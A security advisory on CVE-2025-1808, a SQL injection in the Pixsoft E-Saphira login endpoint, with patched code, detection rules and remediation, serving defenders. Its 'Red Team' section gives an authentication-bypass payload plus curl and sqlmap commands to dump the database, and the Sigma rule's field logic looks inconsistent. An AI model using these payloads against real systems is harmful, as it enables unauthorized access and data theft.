CVE-2025-1808

Executive Summary

CVE-2025-1808 is a critical SQL injection vulnerability discovered in Pixsoft E-Saphira version 1.7.24. The flaw resides in the login endpoint (/servlet?act=login&tipo=1), where the txtUsuario parameter is directly concatenated into SQL queries without proper sanitization or parameterization. An unauthenticated attacker can exploit this remotely to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and lateral movement within the network. The vendor has not responded to disclosure attempts, and no official patch is available. Public proof-of-concept (PoC) code has been released, increasing the risk of widespread exploitation.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (Pixsoft E-Saphira). Organizations using this software should treat it as a critical supply chain risk due to the lack of vendor response and patch availability.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public PoC makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login mechanism of Pixsoft E-Saphira. The application uses a servlet at /servlet?act=login&tipo=1 to handle authentication. The txtUsuario parameter is passed directly into a SQL query without input validation or prepared statements.

Vulnerable Code Snippet (Hypothetical):

String query = "SELECT * FROM users WHERE username = '" + request.getParameter("txtUsuario") + "' AND password = '" + request.getParameter("txtSenha") + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Attack Vector: An attacker sends a crafted HTTP POST request to the login endpoint with a malicious txtUsuario value. For example:

POST /servlet?act=login&tipo=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

txtUsuario=admin' OR '1'='1' -- &txtSenha=anything

This payload bypasses authentication by commenting out the password check and returning the first user (often admin). More advanced payloads can extract data using UNION-based or blind SQL injection techniques.

Impact:

• Unauthorized access to the application.
• Extraction of sensitive data (user credentials, personal information, business data).
• Potential for privilege escalation and lateral movement if the database server is misconfigured.
• Data integrity loss through UPDATE/DELETE/INSERT operations.

Vulnerable vs. Patched Code

Vulnerable Code (Java Servlet):

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String usuario = request.getParameter("txtUsuario");
    String senha = request.getParameter("txtSenha");
    String query = "SELECT * FROM usuarios WHERE usuario = '" + usuario + "' AND senha = '" + senha + "'";
    Statement stmt = connection.createStatement();
    ResultSet rs = stmt.executeQuery(query);
    // ... authentication logic
}

Patched Code (Using Prepared Statements):

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String usuario = request.getParameter("txtUsuario");
    String senha = request.getParameter("txtSenha");
    String query = "SELECT * FROM usuarios WHERE usuario = ? AND senha = ?";
    PreparedStatement pstmt = connection.prepareStatement(query);
    pstmt.setString(1, usuario);
    pstmt.setString(2, senha);
    ResultSet rs = pstmt.executeQuery();
    // ... authentication logic
}

Key Differences:

• The patched version uses PreparedStatement with parameterized queries (? placeholders).
• Input values are bound using setString(), which escapes special characters and prevents SQL injection.
• The vulnerable version concatenates user input directly into the SQL string.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Pixsoft E-Saphira 1.7.24 running on Apache Tomcat.
• Attacker: Kali Linux with sqlmap and Burp Suite.

Step-by-Step Exploitation:

1. Reconnaissance:

   • Identify the login endpoint: http://target:8080/servlet?act=login&tipo=1
   • Confirm the parameter: txtUsuario

2. Manual Exploitation (Authentication Bypass):

   curl -X POST "http://target:8080/servlet?act=login&tipo=1" \
   -d "txtUsuario=admin' OR '1'='1' -- &txtSenha=anything"
   

3. Automated Exploitation with sqlmap:

   sqlmap -u "http://target:8080/servlet?act=login&tipo=1" \
   --data="txtUsuario=admin&txtSenha=test" \
   --batch --dbs
   

4. Data Exfiltration:

   sqlmap -u "http://target:8080/servlet?act=login&tipo=1" \
   --data="txtUsuario=admin&txtSenha=test" \
   --batch -D e_saphira --dump
   

Expected Output:

• Successful authentication bypass grants access to the application.
• sqlmap extracts database schema, tables, and data.

Blue Team (Defensive)

Detection & Response:

1. Web Application Firewall (WAF) Rules:

   • Block requests containing SQL injection patterns in the txtUsuario parameter.
   • Example ModSecurity rule:

     SecRule ARGS:txtUsuario "@detectSQLi" "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
     

2. Network Monitoring:

   • Alert on unusual POST requests to /servlet?act=login&tipo=1 with long or suspicious payloads.
   • Monitor for outbound database traffic from the application server.

3. Log Analysis:

   • Check application logs for failed login attempts with SQL keywords (OR, UNION, SELECT, --).
   • Correlate with database query logs for anomalies.

4. Incident Response:

   • Isolate the affected server immediately.
   • Review database logs for unauthorized queries.
   • Rotate all credentials stored in the database.
   • Apply virtual patching via WAF until a permanent fix is available.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /servlet?act=login&tipo=1 with txtUsuario containing SQL keywords.
• Outbound connections from the database server to unknown IPs (data exfiltration).
• Unusual HTTP response sizes or error messages containing SQL syntax.

File IOCs:

• Modified application logs showing SQL injection attempts.
• Temporary files created by sqlmap in /tmp/ on the attacker machine.

System IOCs:

• Unexpected database user creation or privilege escalation.
• High CPU/memory usage on the database server during exploitation.

YARA Rule:

rule CVE_2025_1808_SQLi_Logs {
    meta:
        description = "Detects SQL injection attempts in application logs for CVE-2025-1808"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $sqli1 = "OR '1'='1'" nocase
        $sqli2 = "UNION SELECT" nocase
        $sqli3 = "admin' --" nocase
        $sqli4 = "txtUsuario=" nocase
    condition:
        any of ($sqli*) and $sqli4
}

Detection Engineering

Sigma Rule (Windows Event Logs)

title: CVE-2025-1808 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting Pixsoft E-Saphira login endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: tomcat
detection:
    selection:
        cs-uri-query|contains: '/servlet?act=login&tipo=1'
        cs-method: 'POST'
        c-uri-query|contains: 
            - 'txtUsuario='
            - 'OR'
            - 'UNION'
            - 'SELECT'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of special characters in usernames (rare)
level: high

Suricata Rule (Network IDS)

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-1808 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/servlet?act=login&tipo=1"; http_uri; content:"txtUsuario="; http_client_body; pcre:"/(OR|UNION|SELECT|--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

YARA Rule (File Scanning)

rule CVE_2025_1808_SQLi_Payload {
    meta:
        description = "Detects SQL injection payloads in files for CVE-2025-1808"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $payload1 = "txtUsuario=admin' OR '1'='1' --" ascii wide
        $payload2 = "txtUsuario=' UNION SELECT" ascii wide
        $payload3 = "txtUsuario=1' AND 1=1" ascii wide
    condition:
        any of them
}

Remediation & Mitigation

Immediate Actions:

1. Isolate the Application: If possible, take the Pixsoft E-Saphira server offline or restrict network access to trusted IPs only.
2. Virtual Patching: Deploy WAF rules to block SQL injection patterns in the txtUsuario parameter.
3. Input Validation: Implement server-side validation to reject special characters in the username field.
4. Database Hardening: Ensure the database user has minimal privileges (e.g., no DROP/ALTER permissions).

Long-Term Fix:

• Code Rewrite: Replace all dynamic SQL queries with parameterized prepared statements.
• Vendor Engagement: Continue pressuring Pixsoft for an official patch. Consider legal action if the vulnerability poses significant risk.
• Migration: Evaluate alternative solutions if the vendor remains unresponsive.

Compensating Controls:

• Enable detailed logging and monitoring for the login endpoint.
• Implement multi-factor authentication (MFA) to reduce the impact of credential theft.
• Conduct regular penetration testing to identify similar vulnerabilities.

Valters IT